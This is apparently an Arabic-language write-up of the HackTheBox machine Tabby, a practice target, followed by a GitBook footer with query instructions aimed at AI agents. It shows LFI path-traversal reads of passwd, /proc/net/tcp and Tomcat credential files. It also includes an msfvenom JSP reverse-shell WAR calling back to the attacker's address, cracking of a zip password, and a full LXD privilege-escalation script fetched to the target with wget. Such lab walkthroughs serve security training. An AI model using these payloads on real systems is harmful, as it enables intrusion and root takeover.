> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# شرح Tabby HackTheBox

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**المهارات:**

* تضمين الملفات المحلية (LFI)
* إساءة استخدام مدير المضيف الافتراضي لتومكات
* إساءة استخدام مدير Tomcat النصي - نشر ملف WAR خبيث (طريقة Curl)
* استغلال LXD (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/210a08fe437a0aa311a2916e5d7b7594fed2231c" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/9884137334285a400aec10743d0373bf75d6e429" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/70c9c8c671b1f29624904e80062c73a69d167712" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/50a174e603b4073f876eac4e39bae74fb1d5b5b8" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/ccb7a5380a09605a20ba1fbc1937d9426b95588c" alt=""><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/18b6ae358bcf12aa8e6811e966df2d87eb74776c" alt=""><figcaption></figcaption></figure>

### **المنفذ 80:**

<figure><img src="/files/96adaedcb3d8699d6f80bf8f4e6ecb89b410a3ea" alt=""><figcaption></figcaption></figure>

**البحث عن الأدلة:**

نستخدم Gobuster للبحث عن الأدلة في الموقع:

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **النتائج:** `assets`, `files`، و `server-status`.

<figure><img src="/files/cb586c134dfe4f5fa011d59eb94e263381dc8bf0" alt=""><figcaption></figcaption></figure>

البحث عن النطاقات الفرعية:

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/21f47e5a92e839166e03caa8ecd4f0d94ec0701f" alt=""><figcaption></figcaption></figure>

## ثغرة LFI:

الوصول إلى الملف الضعيف `new.php` عبر `?file` المتغير في الـ `عبارة` المجلد.

<figure><img src="/files/9f829053ebe9226d1edd33080842c7e6b97a6522" alt=""><figcaption></figcaption></figure>

**اختبار تضمين الملفات المحلية (LFI)**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/486ab44ac98ba227502ab872ea273b6d4905b791" alt=""><figcaption></figcaption></figure>

* **النتيجة:** الوصول إلى الملف `/etc/passwd`، كاشفًا عن مستخدمين اثنين: `ash` و `root`.

**محاولة الوصول إلى مفتاح SSH الخاص بـ Ash**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **النتيجة:** تم رفض الوصول.

<figure><img src="/files/8b6504aca18822b70548bce1bd68b168e6eba249" alt=""><figcaption></figcaption></figure>

**البحث عن المنافذ الداخلية** عبر الـ `/proc/net/tcp` الملف لتحديد الخدمات المخفية:

<figure><img src="/files/028b634e27295473c72728edfb413cc7223e92cd" alt=""><figcaption></figcaption></figure>

**البحث عن المنافذ الداخلية** عبر الـ `/proc/net/tcp` الملف لتحديد الخدمات المخفية:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # أخذ حقل local_address
    split($2, addr_port, ":");
    
    # تحويل العنوان إلى صيغة IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # تحويل المنفذ إلى عشري
    port = strtonum("0x" addr_port[2]);
    
    # طباعة النتيجة بصيغة IP:Port
    printf "%s:%d/n", ip, port;
}'
```

**النتيجة:** اكتشاف المنفذ الداخلي `34650`

<figure><img src="/files/1500a1bfbf26294d05c94b310692092b2762071d" alt="" width="563"><figcaption></figcaption></figure>

### **استغلال مدير المضيف الافتراضي لـ Tomcat (المنفذ 8080)**

**الوصول إلى Tomcat** عبر المنفذ 8080 والبحث عن معلومات المصادقة. افتراضيًا، يتم تخزينها في `/etc/tomcat9/tomcat-users.xml` أو `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/2c950ee7390b2645a82d0dc9a7b0068949333806" alt=""><figcaption></figcaption></figure>

**بيانات الاعتماد** تم العثور على:

`username = tomcat`

`password = $3cureP4s5w0rd123!`

<figure><img src="/files/1fbeb3220543d5ba275842a9228dacf4d8d5c906" alt=""><figcaption></figcaption></figure>

**محاولة الوصول إلى** `/manager/html` والذي يُرجع خطأ 403.<br>

<figure><img src="/files/e4347142f8220c86c4332b5b29a22fc0b1d63caa" alt=""><figcaption></figcaption></figure>

1. **بديل عبر `/host-manager/html`**، لكن دون القدرة على إنشاء تطبيق بملف `.war` الملف.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/d388e8b53fc1af998afe0a4f6d402110d7ba82d4" alt=""><figcaption></figcaption></figure>

### **استغلال مدير Tomcat النصي**

**سرد تطبيقات سطر الأوامر**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/d4fd83727cdd14952f762382c374343b711f9e6a" alt=""><figcaption></figcaption></figure>

**إنشاء ملف WAR للحصول على reverse shell** بـ `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/e00e85fd7a81620c5a752e579dadb728cc977198" alt="" width="563"><figcaption></figcaption></figure>

**نشر ملف WAR** عبر Curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/a10516ff2c999289b27c9586b82bcbc63406d98d" alt=""><figcaption></figcaption></figure>

**الاستماع لاتصال reverse shell**

```bash
nc -nlvp 443 
```

**الوصول إلى reverse shell** عبر الرابط `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/e59057f581b8e536bb9a687f53e724dc0ec7a9fc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/610350bf5cf51aeb6674b935f12bec5e679d272d" alt="" width="563"><figcaption></figcaption></figure>

#### التعامل مع الطرفية

بمجرد حصولك على وصول إلى خادم Linux، إليك الأوامر اللازمة للتعامل مع الطرفية

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### ثبّت الغلاف لتعمل براحة أكبر. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## تصعيد الامتيازات:

**استكشاف الـ `/var/www/html`** المجلد/ من خلال فحص محتويات هذا المجلد، نكتشف مجلدًا `files` يحتوي على ملف محفوظ: `16162020_backup.zip`.

**نقل الـ `.zip` الملف إلى الجهاز المحلي**

لتسهيل التحليل، ننقل الملف المضغوط إلى جهازنا المحلي عبر تشغيل خادم HTTP باستخدام Python:

```bash
python3 -m http.server 655
```

<figure><img src="/files/5d2a1b190c24444c2290d30f4e4f46bfc11957dd" alt=""><figcaption></figcaption></figure>

### التخمين القسري لملف .zip:

**فك ضغط الملف `.zip` - التخمين القسري لكلمة المرور**/ الـ `.zip` الملف محمي بكلمة مرور.

<figure><img src="/files/e0941d0127d0e2fc0aa11175b8eceee868bbedf1" alt="" width="563"><figcaption></figcaption></figure>

**استخراج الهاش باستخدام `zip2john`**:

لذا سنستخدم zip2john لاستخراج الهاش

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/f4f8e6121b57e6c0ae8b04a34393cb0ee66d69c6" alt=""><figcaption></figcaption></figure>

**كسر كلمة المرور باستخدام `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**النتيجة** : تم العثور على كلمة المرور - `admin@it`.

<figure><img src="/files/2ba3f2fe66391653612f712818339a65f460dd78" alt=""><figcaption></figcaption></figure>

**فك الضغط وتحليل المحتوى**/ استخدم كلمة المرور لفك أرشيف الملف:

<figure><img src="/files/cb43dcb171e02b30792bfebe4aa93ea01a0dcc16" alt="" width="563"><figcaption></figcaption></figure>

فك الضغط ينشئ `var` مجلدًا يحتوي على بعض الملفات المفيدة. ومع ذلك، فإن الـ `admin@it` كلمة المرور تعمل أيضًا مع الـ `ash` المستخدم على الجهاز الهدف.

### العلم User.txt

<figure><img src="/files/62da4ee247d56a4dbcae5bb5c93a82338115c62f" alt="" width="563"><figcaption></figcaption></figure>

### استغلال LXD:

**تحديد أن المستخدم `ash` ينتمي إلى الـ `lxd` المجموعة**:

من خلال التحقق من المجموعات التي ينتمي إليها المستخدم `ash` ، نلاحظ أنه جزء من الـ `lxd` المجموعة، مما يسمح باستغلال LXC للحصول على امتيازات الجذر.

<figure><img src="/files/d800c87a847a67d57b38a6a97e2ee5a5971b3302" alt=""><figcaption></figcaption></figure>

**تنزيل الاستغلال وإعداده**:

استخدم `searchsploit` للحصول على سكربت الاستغلال لثغرة LXC (CVE-2020-16941)

<figure><img src="/files/b51fbd575c698ef173c0190f775af06634a1179b" alt="" width="563"><figcaption></figcaption></figure>

يسمح لك هذا السكربت باستغلال ثغرة LXC لتنفيذ أوامر بامتيازات مرتفعة.

**محتوى سكربت الاستغلال (46978.sh)**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nالاستخدام:"
  echo -e "/t[-f] اسم الملف (.tar.gz ملف Alpine)"
  echo -e "/t[-h] عرض لوحة المساعدة هذه/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] جارٍ سرد الصور.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] جارٍ إزالة الحاوية..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* يتيح لنا هذا السكربت إنشاء حاوية LXC بامتيازات مرتفعة، مما يسمح لنا بالحصول على وصول الجذر على الجهاز الهدف.

**تنزيل ملف صورة Alpine والسكربت:**

انسخ المستودع الذي يحتوي على الملفات اللازمة للاستغلال وانقلها إلى جهازك عبر خادم HTTP محلي.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

ابدأ خادم HTTP محليًا لتقديم الملف والسكربت

```bash
python3 -m http.server 80
```

على الجهاز الهدف، نزّل السكربت وملف الصورة:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/3be46402e2790d9663ebb6eee6c42a58080016e2" alt=""><figcaption></figcaption></figure>

**تحديث PATH**:

عدّل الـ `PATH` لضمان تفسير أوامر LXC بشكل صحيح.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**تشغيل سكربت الاستغلال**

شغّل السكربت مع ملف صورة Alpine الذي تم تنزيله لاستغلال الثغرة والحصول على shell كجذر:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/366241762c35bc3e34bcaa8e12cf58c9abd6af28" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e8b59f210c6bf9f699c3bc21e91162090d55a6d6" alt=""><figcaption></figcaption></figure>

للخروج من الحاوية، ما عليك سوى الانتقال إلى الـ `/mnt/root` الدليل.

### فلاغ الجذر :)

<figure><img src="/files/cbe2f3be7de874609770f73ae5f5c9f197b2f4c1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d89f46d0058758828c92c98d21596a38e6008255" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
